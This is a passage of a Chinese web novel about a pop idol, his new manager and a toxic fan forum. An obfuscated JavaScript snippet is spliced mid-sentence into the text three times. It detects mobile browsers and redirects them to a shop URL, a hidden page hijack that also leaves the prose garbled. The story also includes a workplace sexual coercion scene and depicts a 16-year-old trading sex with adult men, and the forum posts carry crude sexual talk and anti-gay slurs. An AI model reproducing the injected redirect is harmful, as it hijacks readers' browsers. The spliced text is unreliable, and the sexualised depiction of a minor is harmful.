127L:姜公看这条微博好酥服。。。老妈无需我们帮忙拉相方,此女和男的站一起就有cp感了就自动拉好相方了,希望全天下208卖腐都有这个自觉好吗。。。 …… 256L:姜婆哼哧哼哧辛辛苦苦洗了一晚上地,结果你家心肝转头就找了新男友啪啪打脸啊!一年爆多少次了?!去年年底也被拍到和男人手牵手吧? 链接:姜凝安现身帝都某医院,一旁男性疑似新男友! …… 黑色app。 【你姜拿兄弟们的钱养小男友这一块】 lz:爆出来的第几个男友了[笑哭][笑哭][笑哭]表字痒了就恨不得大睡男人三天三夜,而且这个男的好普啊……你姜吃得越来越差了…… 1L:不是男友吧,感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523236|203366||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉只是工作人员,太普了,之前传过绯闻的好歹都是个影帝视帝大导演。 2L:普就普呗,普男最好当皮套穿了,普男说明bro们都有机会啊,你姜说不定就好这一口。 3L:我也要花钱养老婆的小男友吗.jpg 4L:楼上,对的,兄弟们一起出钱,追久了发现自己觉醒了龟男属性,姜小表一爆绯闻我就忍不住溺爱。想和姜姜玩修理工小游戏,我上门修理姜姜家水管发现他正在和小男友这样那样忍不住加入进去修理的水管其实是姜姜的嫩水管这种。。。 5L:姜姐夫我告诉你我姜是狐狸精专门吸男人精气来着,你快退下,让我来! …… 53L:大概不是男友,据说是新来的经纪人。别看到一个男的就觉得人要上你姜好吗[笑哭]也不怕被你姜一身扫味熏晕了。 54L:经纪人又怎么了?这男的身材还可以吧,侧脸也挺硬的,感觉你姜谈过的一大帮男友大部分都是类似长相。 55L:他不会对队友以及经纪人助理下手。 56L:别问我怎么知道的。 57L:这群队友也是神人,一个两个感觉不举啊,换我来见到你姜第一面就狠狠强制爱,在休息室练舞室后台大度特度,底下的粉丝在狂呼而你姜在我怀里失神尖叫哦呵呵,这种时候队友还是有点用的,皮套让我代爽了。 …… 101L:不行了好难受,忍不住开启盒武器了,我搜了一下,发现这男的估计确实是新经纪人,之前在小韩那边带过xxx、xxxxx等几个团,姓舒,嘶,舒…… [该楼层已被管理删除] 102L 管理员:请勿开/盒素人,请遵守版规,不然我会踢人。 103L:我草,版主! 104L:你姜疑似谈了一个素人普男居然把版主都气得炸出来了 105L:版主你也很伤心吗……我好伤心…… 106L:这下真的是老资历了,我从五年前这个论坛还是网页版的时候就在了,那个时候版主还很活跃,经常分析姜姜的音乐和舞台。我敢说,这个世界上最爱姜姜的人版主必然是其中之一,每个舞台都有千字长评,又骂又追又yy,写的梦男文很那个哦,爱之深恨之切属于是了 107L 管理员:官方已发通告,是新经纪人,没有任何暧昧,请大家不要传一些捕风捉影的谣言,有些时候,他也需要一些正面的支持。 108L 管理员:我并非他的粉丝,只是单纯分析音乐而已,其他都是根据音乐的思维发散,这些年他的音乐很差劲,早已没了评价的必要,所以我不常看论坛,希望大家自觉维护论坛的秩序,切勿外传论坛内容。 …… 舒垣放下手机,在黑夜里闭上了眼睛。 那个论坛他维护了近十年。 每一首歌,每一个舞台…… 他一想到这些事就忍不住想抽烟,睡不着,只好起身,在阳台上点燃了一支烟。眼前是帝都辉煌的夜景,烟雾缭绕,把那些车流、灯光扭曲成酒吧的霓虹灯,他仿佛又一次看见台上的男孩,扎着小辫,抱着中二的天使电吉他,穿着音院附中的洁白校服,唱得撕心裂肺,而台下声浪如潮。 那样青涩、疯狂又美好的初遇。 从那一天起,舒垣就坚信一件事。 ——姜凝安是天生的巨星。 5. 真的爱你(二) 姜凝安难得睡了一个好觉。 他对网上的风波全然不知,或者说,完全不在意,洗澡后就躺上床闭眼睡觉。他的睡衣是一件宽大的衬衫,穿了很多年。好在舒垣是个勤俭持家的男人,买衣服最看重材质,这件棉麻衬衫在他多年的蹂躏下除了有点皱,当睡衣完全没问题。 舒垣当年离开的时候无声无息,如同人间蒸发。姜凝安只来得及留下寥寥几件物品作为念想,一个老旧的MP3,一堆乱七八糟的光碟、demo,以及这件衬衫。 刚开始的几年,他还能在衬衫上嗅到舒垣的气味,很浅很淡的樟脑气息。不找男人解决生理问题的夜晚,他常常穿着这件衬衫在睡梦里起感觉,醒来后弄得衬衫脏兮兮的。 后来衬衫洗多了,嗅不到舒垣的气味了,他却也习惯穿这件衬衫入睡,没换过,也不会穿给别的男人看。在这件事上,姜凝安非常有原则。 难得睡好觉的下场就是被助理叫起床,晕头转向拉去医院做胃镜,全程连舒垣的人影都没见着。 无痛胃镜非常快,留置针一插,姜凝安就昏了过去,再醒来时,助理已经开始让化妆师为他做妆造了。他下午要跑通告,某大牌口红的广告拍摄,时间紧,任务重,拍完还要回公司练舞编曲,宣传期就是如此忙得马不停蹄。 品牌妆造走的简约风,其中主打是一套丝绸材质,强调口红如丝绸般顺滑的质感。宽松的丝绸衬衫,修长的阔腿西裤,领口打得很开,露出姜凝安纤长的脖颈,脖颈上还戴了一只黑色皮质choker。 姜凝安是冷白皮,而品牌主推的口红色号为近乎糜烂的深红色,雾面,涂在他的薄唇上,给人一种玫瑰花瓣的丝绒感。口红管身黑金交错,十分贵气。造型师一开始有点无从下手,在姜凝安脸上捣鼓了一个多小时,最终还是决定走古早冷感烟熏妆路线,打造偏视觉系的效果。 工作期间的姜凝安基本上不会打开手机,一切消息由助理和执行经纪传达。他坐在妆台前,任由妆造师在自己脸上涂涂抹抹,当然,不玩手机他也没闲着,而是从包里掏出一个亮蓝色的MP3,很老的东西了,外壳布满划痕,打开页面,还是十几年前的菜单风格。 这次的妆造师是品牌方自家的化妆师,见他还在用MP3听歌,一脸惊讶问:“姜老师还在用这么怀旧的东西听歌呀?” 姜凝安摘下一只耳机,笑说:“高中时代一个……朋友送的,我舍不得,一直戴在身上。现在的这些什么蓝牙耳机啊、骨传导耳机什么的,我都用不太习惯。” 妆造师说:“姜老师很恋旧呢。我上高中的时候,也喜欢戴MP3上学,把耳机线藏在袖子里,放下一半的头发遮挡,教导主任怎么也抓不到。” 姜凝安回头看了人家姑娘一眼,神秘兮兮说:“对了,而且里面还有我高中时代写的歌哦!你想听一听吗?” “欸?!”妆造师一脸受宠若惊,画眉毛的手都不稳了,“真的可以吗?” 很明显姜凝安只是在逗她玩:“骗你的,那些歌实在太差劲了,完全是黑历史,我怕你听了对我大为失望。” 逗完人,这家伙就跑去拍摄广告了,徒留妆造师在那里又是激动又是失落,助理连忙上来安慰她,还赠送了一瓶香水,苦笑说:“我们家姜老师嘴巴就是有点爱跑火车,真是不好意思啊!” 而另一头的姜凝安已经开拍了。一到镜头前,他眼睛里的困意消散得一干二净,姿态松散地半靠在深红的沙发上,聚光灯笼罩全身,头发、衬衫都在散发着微渺的光晕,锁骨的阴影仿若春山。 拍完一套,他凑过去挑选照片,不太满意,又要求摄影师重新拍摄:“不太好,完全聚焦在我的脸,口红反而被忽略了。” 摄影师说:“姜老师长得太抓眼了,不知怎么一回事,我每次给姜老师拍摄,手一抖,不知不觉就只能注意到姜老师了。” 姜凝安说:“不太好吧,品牌方要生气的。” 摄影棚里的人全笑了。 又换了一套稍微活泼点的,摄影师说:“姜老师,看镜头,给个wink吧!” 姜凝安闻言凑近镜头,将过长的刘海别到而后,轻轻wink了一下。他的刘海偏长,几乎能遮住整个右眼,而右眼眉骨上也有一颗小痣,如此靠近镜头抿嘴一笑,眼妆、口红包括他独特的个人气质展露无疑,那个摄影师不停说:“好!非常好!” 一直拍到晚上八九点,期间又换了好几套妆造。刚做完胃镜,姜凝安其实有点不舒服,晚饭也没怎么吃,随便喝了一点皮蛋瘦肉粥。拍完广告,还有后续品牌的采访。 品牌方:“凝安最近有烦恼的事吗?” 姜凝安:“很多烦恼的事呢,下个月就是十周年纪念巡演了,实话说,我十分紧张,既渴望与大家见面,又有点担心巡演的效果。毕竟十年了,风风雨雨,都是star陪我们一起走过的。我和队友想给star们一场难以忘怀的狂欢。” 品牌方:“非常期待凝安和Novae接下来的舞台!对了凝安,我们工作人员看见你在后台一直听音乐,在听谁的歌呢?” 姜凝安笑:“当然是我自己的。” 品牌方:“听说凝安有一个用了非常久的MP3呢……凝安会恋旧吗?因为凝安看起来一直是自由又恣意的模样,感觉是大步向前不会回头的人。” 姜凝安:“……不,我很恋旧。在这十年的所有专辑主题里,我最喜欢的就是有关青春的主题,我认为青春是不能歌颂的,而是需要阐释,每个人的青春都有着不同的色彩,或快乐或痛苦或迷茫,但都弥足珍贵。尤其是我的高中时代,我每天做梦都想回去呢。” 品牌方:“最后有什么想对粉丝说的话吗?想要成为粉丝心中最重要的人吗?” 姜凝安:“我偶尔很疲惫的时候,会想突然消失,去一个没有人知道我的地方隐居。但一想到没有star们的话,我会很寂寞呢……想成为粉丝的什么?嗯……或许是大家包包里的口红。” 品牌方:“口红?” 姜凝安:“是的,想成为口红,不是亲人,不是爱人,也不是朋友,而是一支口红,可以让大家变得漂亮和开心的口红,star们开心的话,我也就不会感到寂寞了……毕竟这说明我做的一切都有意义了呢。” 品牌方:“真的不是在给我们打广告吗?” 姜凝安:“欸,这不就是广告采访吗?” …… 等回到保姆车上,姜凝安正准备卸妆,助理才斯斯艾艾凑过来说:“姜哥,郭副总在公司等您,说要和您说一些事。” 姜凝安疑惑:“他找我干嘛?” 这男的不是结婚后就专心家庭的吗? 发什么神经病。 助理抹了一把汗,说:“是这样的姜哥,昨晚舒经纪陪您去医院检查胃病时,被狗仔拍下来了,发到网上说疑似您的……不过姜哥放心,公司已经解释清楚了,但郭副总还是想找您和舒经纪问话……” 姜凝安当即就拉下了脸:“回公司!” 不过冷脸归冷脸,姜凝安生气之余竟还有一丝甜蜜。他生气,是怕郭棹为难舒垣,但又生出了一丝微妙的期盼——舒垣会怎么看这则绯闻? 即便只是在绯闻中做了小半天舒垣的恋人,姜凝安也不禁有点微醺。这让他想起十多年前,他和舒垣出去玩,有路人问舒垣:旁边是你的对象吗?姜凝安喜欢这种错认,至少这代表着他和舒垣在外貌上是登对的。 助理几番想给他卸妆,却被他的冷脸弄得左也不是右也不是,最后只得作罢,转头对司机说:“老覃,开快点!” 司机老覃嘟囔道:“妈的,这个点正堵车呢!”可一看后视镜,姜凝安脸色冷得吓人,赶紧一踩油门,半个小时内回到了芮新。 …… “凝安回来了?正好,有点事我想和你谈谈。” 西装革履的男人转头看向大门,笑着说道。他的对面坐着同样一身西装的舒垣,神色浅淡,只抬头看了一眼姜凝安。 姜凝安是跑上来的,连电梯都懒得等,鬓角发丝凌乱,被汗水黏在脸颊上,让他显得有几分狼狈。他几乎是踹开了门,哐当一声巨响,反正是郭棹的门,这个男人和他睡了那么多次,互有把柄在手,踹一踹怎么了? “哥……舒垣,你没事吧?”姜凝安理都不理郭棹,抬腿就往舒垣那里走。 郭棹倒也不生气,只是饶有兴味打量着两个人,说:“我说舒先生怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523237|203366||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么给我们芮新投递了简历,敢情是和我们的大明星是故交。” 舒垣说:“很多年前的事了,不足为道。” 姜凝安被这男的态度刺到了,心里顿时有些闷痛,但他更害怕郭棹的手段。这些年芮新的老郭隐居幕后,公司大部分业务、人事都由郭棹经手,好不容易舒垣回来了,他不想再一次失去,更不想是郭棹这个贱人辞退的。 “你想干什么?”姜凝安冷冷盯着郭棹。 郭棹低下头,轻轻转动左手无名指的戒指,笑着说:“你还生我的气呐?前几个月我在忙订婚,订婚嘛,还是要收着一点,也就冷落了你。凝安,你在我心里还是很重要的。比方说这一次叫你来,不是为了其他,而是经过公司的多方评估,我们一致认为……或许让你单飞、并且解散Novae是目前最好的出路。” 说着,郭棹转头看向舒垣:“对吧,舒先生?我聘用舒先生,就是想找一个能管住你、托举你的经纪人,以便你未来的发展。凝安,偶像是吃青春饭的,即便Novae拿过大满贯,也难掩颓势,你要听话。” 姜凝安一愣,眼睛一错不错盯着舒垣:“是这样的吗?我……那其他几个怎么办?接下来的十周年巡演怎么办?” 舒垣说:“不是现在,许多工作要交接,十周年巡演还能再炒热一波,但我认为我们需要早一些准备了。况且以姜先生如今的状态,负责团队概念的专辑已经很吃力了,你要评估每个队友的情况,并且针对个人特色做出调整……我说难听点,这无疑在拖累你。” 话音落下,偌大的办公室里一片寂静。 “我……”姜凝安捏紧了拳头,“我暂时还不想……” 他很恋旧的。 他…… 郭棹没说什么,只是对舒垣笑笑:“舒先生,麻烦你先走吧,凝安脾气很倔,我待会劝一劝他。” 舒垣点点头:“好。” 说罢,起身便要离开。 姜凝安有些慌乱,想要抓住舒垣的手。从前有人想要留下他做那种事,舒垣一定会带他走,还会用酒瓶狠狠砸那些人的脑袋……郭棹的这种话说出来,已经是暗示了。 舒垣不着痕迹避开了姜凝安的手,目不斜视,径直走出了门,顺手轻轻关上了门。 身后传来解皮带的声音。 姜凝安刚想回过头,就被郭棹大力按在了办公室的门前,双膝骤然触地,疼得他直抽冷气。郭棹亲口说的,他对自己的未婚夫很温柔,因为对方是三代,不敢玩一些大的,而姜凝安就不一样了,随便怎么玩,说到底,也不过是一个商品。 “舒垣……” 姜凝安用力砸了几下门,手腕立马被皮带捆了起来。郭棹捏住他的下巴,强迫他抬起头,随后低头吻住了他。 办公室里回荡着亲吻的声音。 郭棹甚至关了灯,帝都绚烂的夜色在落地窗外奔腾不息,落在姜凝安的脸上,那些还未卸下的妆粉闪烁不已,薄唇被男人放肆蹂躏,口红被涂抹开了,旋即在他的脖颈和锁骨上留下暧昧的痕迹。 “自己爬到落地窗那儿跪好。”郭棹摸了摸他的头顶,笑着说道,“让所有人看一看我们大明星被人潜规则的扫样,好不好?” …… 第几根烟了? 舒垣数了数,大概七八根吧。 他没怎么抽,站在郭棹的办公室前,一动不动,看着烟头缓慢燃烧,一直到火星子舔到手指上,他才沉默地按灭在垃圾桶的烟台上。 隔音很好,他听不见里头的动静。 突然一声巨响,他手里的烟灰掉了一大截,转头望去,郭棹办公室的门打开了,一个人影步履虚浮走了出来。 白日里光鲜亮丽的大明星不复存在了,取而代之的,是一个狼狈、衣衫不整的姜凝安。口红被抹开了,衣领下面满是红痕。 姜凝安看着他,轻声说:“我就知道,哥一定会等我……” 舒垣说:“你很脏。” 姜凝安有些急了,连连摇头,说:“我刚刚没有和他做……我现在只想和你……” 舒垣弹落烟灰,说:“真的吗?” 姜凝安点头。 “当然可以,不过我有个要求。” 6.真的爱你(三) “我的要求很简单,要你不管用什么方式,一周之内,写一首你自己满意的歌。如果写不出来,或者写出来的东西和你新专一样烂……” 舒垣皱着眉,随手把烟头按灭,火星子跳了一下,旋即在他的指尖消散。 “……那你就别当什么创作型歌手了。” 姜凝安僵在了原地。 四月末的夜晚,本该是春风沉醉,可芮新大楼内的新风系统也许是坏了,偌大的走廊,空气沉闷如粘稠的胶水。 姜凝安像只被胶水困住的虫子,呼吸困难,头晕眼花,耳畔泛着嗡嗡的鸣声,他努力挤出一句:“你让我去死吧。” 舒垣很淡然:“你不想让我睡你么?一周而已,你写出来了,在床上我什么都陪你玩。你写不写?” 姜凝安定定站在那里,身后是长到似乎没有尽头的走廊,日光灯惨白,却只照亮了他的小半张脸。他的睫毛很长,落在脸颊上,像两只模糊的蝴蝶,偶尔颤抖一下翅膀,颊边还有一道长长的口红印子,像是血迹。 舒垣有些不耐烦了,掏出手机看了一眼:“已经过了十一点,我要下班了,麻烦姜先生快一点做出决定。” “好。” 姜凝安说。 “我接受。” 舒垣说:“一言为定,一周后的今天,我等你。” 姜凝安嘟囔说:“一周也太漫长了……” 舒垣随意理了理西装,打算撤退,嘴上淡淡说:“一天也行,我无所谓,主要看你能不能行。” 姜凝安一脸委屈说:“我知道自己出了问题,但不清楚究竟出在哪里。哥,你告诉我吧,不然我和没有大脑的猴子一样,只会哦哦哦乱叫,什么旋律也搞不出来。” 舒垣反问他:“你真的不清楚?” 姜凝安认真点了点头。 舒垣说:“网上一大堆乐评,你自己不会看吗?” 姜凝安眼睛一亮:“哥会看关于我的乐评?” 舒垣顿了顿,说:“这是我的工作。” …… 某黑色app。 【热帖:简析姜凝安创作能力下滑的原因】 管理员:新专《不渝》的争议实在太大,作为版主和论坛管理员,我还是出来说几句话吧,也许是一篇乐评。贴子内容较长,感谢大家的耐心阅读。 姜凝安出道已经十年了,但他的音乐创作生涯远不止十年,据我所知,至少从十三岁起,他开始有意识改编一些古典乐,也就是从那时开始,他不再想成为一个小提琴家。他在少年时代的音乐创作大多围绕摇滚和古典乐的碰撞,很可惜诸位没有听过,他也不愿意发布,我只能评价为:灵气逼人,大概是你听了就永远不会忘记的青春rock,甚至会怀疑他的年纪。一个十几岁的孩子,怎么会如此有成熟的演奏和编曲水平?但姜凝安可以做到。 但姜凝安真正的开端,必然是Novae的出道首专《LOVE!LOVE!LOVE!》(简称爱专),极其空灵的电子迷幻+合成器浪潮,有选择加入故障loop和funk元素,以及灵光一闪的太空摇滚,完美契合Novae的核心概念:伪装成人类的外星人,而这群外星人享受着人类男孩躁动的青春,并为此选择成为偶像。姜凝安没有回避青春的尖锐和迷茫,爱专里有大量由合成器以及人声制造的“噪音”,或是“不和谐”的break,呈现出青春岁月里那些无法宣之于口的情感。姜凝安更令人惊叹的才华远不止于此。他甚至统一了全团的风格,让队友的rap、舞蹈……全部成为他的乐器,这是天才的自信,也是极大的隐患。 比起爱专里那种令人目眩的电子迷幻风格,姜凝安在Novae二专《梦的旅人》(简称梦专)实验性添加了爵士的元素,这也奠定了Novae接下来五年数张专辑、姜凝安solo专封神登顶的基础。古典乐出生的背景,少年时代玩摇滚的沉淀,青年时代爵士精神的觉醒……促生出无与伦比的Novae音乐美学。整个团队的概念紧紧围绕着姜凝安,于是评分较高的几张专辑都有着独属于他的那种脆弱、迷离与彷徨的气质。工整精致的编曲,抓耳多变的旋律,再搭配上极繁主义的表现方式,给人一种听觉和视觉上的华丽,华丽却又不至于令人腻味,甚至无比清澈与纯粹,像是把一个人所有幽微的情绪编织成一场宏大的音乐剧,最后再让他的人生如白雪落下。偏偏又巧妙加入了爵士元素,这场音乐剧不再苦大仇深,而是有了俏皮的自嘲和不羁。当然,这类命题未免过于深了,对于贩卖情绪价值的偶像团体并不是好牌。但姜凝安和制作团队依旧平衡了市场与艺术。详细的我不赘述了,欢迎大家点击我之前写的乐评进行阅读。 然而在姜凝安solo专辑《鱼骨》之后,他开始走下坡路,本月作为十周年特别专辑发售的《不渝》,更是他音乐生涯的一大败笔。 不仅仅是无聊,不仅仅是平庸,而是糟糕。有趣的芭乐很多,音乐流派不会限制音乐的可听程度,只有平庸的创作者会。《不渝》乍一听起来并不糟糕,甚至可以说好听,因为姜凝安的乐理太扎实了,他熟知音乐的底层逻辑,无论如何也不会让自己的歌变成噪音。那么问题在哪? 一,团队拖累了他。不仅仅要写歌,更要平衡整个团的风格,这无疑是对他的消耗,他有着更私人的感受与气质,一旦迎合他人,必然造成独特性的流失。而从男团运营的角度来看,这是病态的、不平衡的团队模式。良好的男团,应该做到各司其职,人人有特色,又能统一团队核心概念。但你问Novae的核心概念是什么?是姜凝安,而不是假扮青春男大的外星人。 二,固步自封,没有成长。音乐技巧在成熟,思想深度也在成熟,人也不是青春期的孩子了,但姜凝安依旧没有长大。他摆脱不了对某些事物的依赖,没有安全感,进而自我封闭,不再尝试着把情绪宣泄为音乐。这对天赋驱动性的创作者是致命性打击,当他把时间全浪费在那些综艺、广告、影视剧上面,当他不断产生绯闻,当他一次又一次迁就队友……实在太令人失望了,他简直是在自我摧毁。 整张《不渝》都充斥滥情的色彩,芭乐抒情、浪漫、朗朗上口……或许很适合别的男团作为周年礼物,却不是姜凝安的风格,也不符合姜凝安的艺术人格,更不符合Novae的团队概念。我无法描述我有多失望,如果你觉得用滥了的抒情慢歌公式好听的话,那我祝你换双耳朵,如果姜凝安再产出这种恶心的东西,那我祝他早日退团消失,不要再拿这种东西来污染人的耳朵了。 1L:致敬传奇毒唯[敬礼][敬礼][敬礼] 2L:版主大晚上不睡觉听新专听哭了怒而大写特写大批特批你姜帝,你姜帝还不赶紧出来媚粉安抚一下? 3L:版主音乐技术宅人设不倒……好想和版主畅聊我姜音乐一个晚上啊!爱专真神了梦专真神了鱼专更是神中神…… 4L:对,你姜的集大成作一定是他的solo专辑《鱼骨》,鱼专太精妙了,编曲真的和鱼骨一样精巧细致,而且不用在乎队友死活[笑哭]非常摇滚啊,摇滚了个爽,元素非常多非常敢写,后现代的荒诞,经济下行的迷茫……说起来你姜并不合适写传统情歌,反而鱼专这种讽刺现实的作品效果更好。rym评分4.0的水平谁敢不看谁敢不听? 5L:说实话我真的很好奇版主身份…… …… 25L:临睡前上论坛准备找姜姜私房照打首冲,结果迎面就是专业乐评,顿时萎了[崩溃] 26L:姜帝只当杯杯也很好了。 27L:你姜那么多绯闻敢情只是想打泡[笑哭]情歌确实写得一塌糊涂[笑哭]小杯杯只是痒了不是心动了那我能接受 28L:版主不对姜帝本人打首冲只对姜帝音乐打首冲,非常事业粉了,而我这种社会渣滓只想看你姜在专辑里塞劲爆私密照[愤怒] …… 41L:还好是在我们论坛,版主这种无下限拉踩队友的话放外面要被弄死。 42L:版主敢发外面只有一个原因,赶高铁身份证不见了急需找回,队友唯粉五分钟之内使命必达! 43L:版主不想*我们小姜姜嘛,太专业了显得我们这群人很恶俗很呆。。。 44L 管理员:我是直男。 45L:我笑了你们呢? 46L:喷了…… 47L:我看未必。 48L 管理员:当成男人来看很恶心啊。我真的很讨厌他,尤其讨厌他是个gay,看了就想吐。但他的才华太出众了,人也太过耀眼,同为音乐创作者,很难不心生嫉妒。 49L 管理员:真想看他登顶,然后狠狠摔下来。 50L:嗯……版主……我支持你…… 51L:摔下来锁回家当小狗么? 52L 管理员:这个想法很好,如果当成男人确实蛮恶心的,但当成杯子充气娃娃或者小狗,似乎很不错。 53L:我早说过了,版主是梦男…… …… 姜凝安没有回宿舍,而是直接留在了公司的录音棚,对着一屋子的器材、乐器发呆。芮新给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531113|203366||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他腾出了专门的录音棚,或者说,工作室,就在他休息室的旁边,各类设备应有尽有,甚至还搬了一架斯坦威供他使用。 舒垣走了,这人毫无经纪人精神,准时准点下班,按照此男的说法,他甚至还算加班了,徒留姜凝安一个人在录音棚里担惊受怕。 姜凝安……怕鬼。 而芮新作为娱乐圈屹立二十余年的大公司,阴私之事数不胜数。十多年前有位如日中天的芮新艺人跳楼自杀,幕后原因是公司私下威胁要雪藏她,从此公司艺人和员工里就流传着女鬼阴魂不散的传言,时常有泡练习室的艺人说自己见过那个女鬼。 姜凝安没撞见过鬼,但他还是怕。 又怕又爱听鬼故事,睡觉必开小夜灯,隔壁房间必须住人,不然他就会胡思乱想,自己把自己吓得睡不着。 一个小时前,舒垣要走,他要留在公司。既然都做了约定,姜凝安更加黏人了,眼见男人要走,连忙扑上去说:“你陪我好不好?” 舒垣坚决推开他:“我要回家睡觉。” 姜凝安简直欲哭无泪。回宿舍吧,虽然也有隔音的工作房间,但他的效率不高,八成写着写着就跑去睡觉了,只能留公司。 “公司里有鬼!”姜凝安快哭了。 深夜十一二点的芮新员工已经走了一大半,尤其他们这层楼,几个队友都回去了,灯自然也熄灭了一大半。 姜凝安紧紧贴着舒垣,眼睛死盯着走廊黑漆漆的尽头,生怕突然跳出一个红衣女鬼,猛冲过来把他吞了。 舒垣说:“那我送你回宿舍。” 姜凝安又犹豫了。 “哥……你送我去录音棚吧。”姜凝安哭丧着脸小小声说。就这一小截的路,他也不太敢走。芮新大楼前几年重新装修过一次,还是应风水大师的说法,换了现代简洁的装潢,白天窗明几净,可一到深夜,走廊里黑沉沉的,在角落似乎真藏着什么蠢蠢欲动的东西。 舒垣把人丢进录音棚就走了。 姜凝安一个人枯坐在电脑前,抱着吉他发呆。录音棚的隔音非常好,他听不见外面的动静,但也不敢开门。他一口水都没喝,怕想上厕所,而厕所又是阴气最重的地方。 一周…… 一周啊! 姜凝安烦躁地拨弄了几下吉他弦,后悔自己答应了舒垣的要求。 就不该答应的! 霸王硬上弓舒垣都比深夜关在闹鬼的公司大楼里来得简单…… 等一下…… 姜凝安神色一凝,循着记忆又重新拨弄了几下吉他,顺着音调哼了哼,似乎还不错,便开始试着延长旋律、添入别的乐器。 但他越试着编曲,越觉得这曲子耳熟。 他翻了一遍工程文件,没有,里头的demo他全都有记忆,不是里面的,或许更久远一些。于是他从包里掏出那个MP3,接入电脑,从上到下,一首一首地听。 排在第一个的文件修改时间是2013年5月28日23点15分。 先是一阵杂音。 乱七八糟的动静,似乎有人在走来走去。 过了一会儿,一个略显沙哑的少年音说道:“你好穷啊,居然租这种死过人的房子……墙上贴的是什么东西,好丑!” 这个声音是姜凝安自己。 一个十六岁的离家出走的问题小孩。 一个已经过了发育期的、成熟的男声说:“离家出走的小鬼没资格点评我的财力。大哥,我才上大一,从生活费里匀出几百块租个搞音乐的房子已经很不容易了……你要用就快点用。” 是舒垣。 十六岁的姜凝安说:“你这房子……闹鬼吗?” 十九岁的舒垣明显有些抓狂,但还是耐着性子胡扯说:“对,闹鬼,被封住的那个房间里面有女鬼,天天晚上在我床头吹阴风呢!” 又是一阵匆忙的脚步声。 舒垣说:“我草,你怎么打开录音了?” “我刚刚想试一试你家这个能不能用嘛!!!你好小气啊!!!” 录音戛然而止。 十三年前…… 姜凝安还记得当时他吓得不行,一张脸煞白煞白的,而十九岁的舒垣到底没把他轰出去,让出了卧室给他。 他抱着吉他,颓唐瘫坐在椅子上,眼前的屏幕上赫然成列着几百个高中时代的demo,有的署了他的名字,有的署了舒垣的名字,当然更多的是两个人的名字并在一起。 那是他们相遇的第一天。 而故事的开端比这段录音还要早几个小时。 7.时光机(一) 2013年5月底,帝都某酒吧。 “我*你*!!!” 拳风呼啸而来,把染着粉头发的男人打得鼻血直流,当即爆出一句带着京腔的国骂。这男的捂着鼻子,疼得呲牙咧嘴,蹲在酒吧男厕狭小的走道里,显得格外滑稽。 “妈的,居然敢对未成年下手。” 男生甩了甩手腕,皱着眉头说。 粉毛男听了这话,怒不可遏道:“是他自己贴上来的!狗娘养的东西,要不是见他长得还可以老子懒得理会!你妈的你谁啊?迪迦欧特曼还是警察?妈的把老子打出血了!你妈的你知道我爸是谁吗?” 男生没理疯狗一样的粉毛男,而是转过头对姜凝安说:“他说的是真的吗?你自愿的?但我听邱老板说你才十六岁。” 姜凝安背着吉他,眼睛一错不错盯着面前的男生,歪了歪头,心里有点想笑。 从外貌来说,这个男生比粉毛男帅多了,完全正派的英俊男人,浓眉大眼,下颌线条凌厉,个子又高,不能说完全踩在姜凝安的审美上。 但姜凝安对他很感兴趣。 非常非常感兴趣。 甚至忍不住地想,如果继续做下去,告诉男生他就是故意的,就是个不检点不自爱的青春期小孩……男生会不会连他一起打了? 没办法,谁让姜凝安是个恶劣的十六岁小孩呢?放着成为小提琴家的大好前途不要,茱莉亚音乐学院也不想去,自从迷上了现代音乐,一发不可收,和那对独裁家父母大吵一架,然后果断离家出走。 一个十六岁的男孩离家出走后能住在哪?平常的小孩也许会躲在朋友、同学的家里,或者花钱住酒店,然后等着被家长揪回家。但姜凝安不。他走得太急,身无分文,只能用少年稚嫩的身体、惊人的美貌以及出色的吉他弹奏水平征服了酒吧老板的心,又故技重施,勾引酒吧里搞乐队的男人,得以挨过漫漫长夜。 粉毛男正是他今晚钓到的大鱼。 而十九岁的舒垣看起来就是好学生,来酒吧也穿得板板正正,一件黑T恤,一条牛仔裤,头发剪得很短,一身的正气,站在充满尿骚味的酒吧男厕里简直格格不入。 “我草我草这是咋了?!” “老邱,有人干仗了!” “欧呦,还打出血了……” 舒垣的身后、男厕的门口冒出几颗五颜六色的脑袋,嘴巴里叽叽喳喳、大呼小叫个不停,外头的人见男厕出了事,也纷纷凑上来看热闹,不知道还以为男厕死人了。 “我……我……”姜凝安就怕热闹不起来,眼睛里闪过一丝狡黠的光,当即掉下两颗眼泪,可怜兮兮地躲到舒垣的身后,说,“我也不知道怎么回事……一下台这个人就跑过来说要请我喝东西,然后把我带到了这里摸来摸去……” 粉毛男神情呆滞了:“我草!你这个小……” 啪的一声,粉毛男又结结实实挨了一拳。 舒垣冷冷说:“人渣。” 